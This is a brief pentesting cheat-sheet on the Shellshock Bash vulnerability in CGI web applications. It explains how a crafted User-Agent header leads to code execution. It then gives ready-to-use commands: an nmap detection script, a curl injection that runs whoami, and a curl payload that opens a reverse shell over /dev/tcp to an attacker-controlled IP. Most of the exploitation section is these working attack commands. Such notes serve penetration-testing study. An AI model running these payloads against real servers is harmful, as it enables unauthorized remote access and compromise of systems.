# Shellshock

## Introduction

ShellShock or (CVE-2014-7169 & CVE-2014-6271) allows arbitrary code execution after creating an environment variable in **Bash**. However, the problem resides in that some web servers, such as apache, support Common Gateway Interface (CGI). This feature allows CGI applications to perform Operating System operations by interacting with the command line interface like SH or Bash.

Furthermore, the value of `USER-AGENT` in an HTTP request is an input field that is commonly used in CGI applications to define variables. Manipulating the value of the `USER-AGENT` variable, it is possible to obtain remote code execution.

## Exploitation

### Check if it works

The script executes a command that prints a random string and then attempts to find it inside the response body.

```
nmap <TARGET> -p 80 --script=http-shellshock --script-args uri=/cgi-bin/admin.cgi
```

Should return the user who is executing the webserver.

```
curl -H 'User-Agent: () { :; }; /bin/bash -c whoami' http://<TARGET_IP>/cgi-bin/<app>.cgi
```

### Reverse shell

```
curl -H 'User-Agent: () { :; }; /bin/bash -i >& /dev/tcp/<A_IP>/443 0>&1' http://<TARGET_IP>/cgi-bin/admin.cgi
```

Alternative exploit: [Link](https://www.exploit-db.com/exploits/34900)

## References

* [ShellShock puede afectar a tu web, tu Linux, tu Mac OS X, tu router, tu punto de acceso WiFi o tu switch](https://www.elladodelmal.com/2014/09/shellshock-puede-afectar-tu-web-tu.html)
* [The ShellShock Attack](https://www.exploit-db.com/docs/48112)
* [Exploiting CGI Scripts with Shellshock](https://antonyt.com/blog/2020-03-27/exploiting-cgi-scripts-with-shellshock)
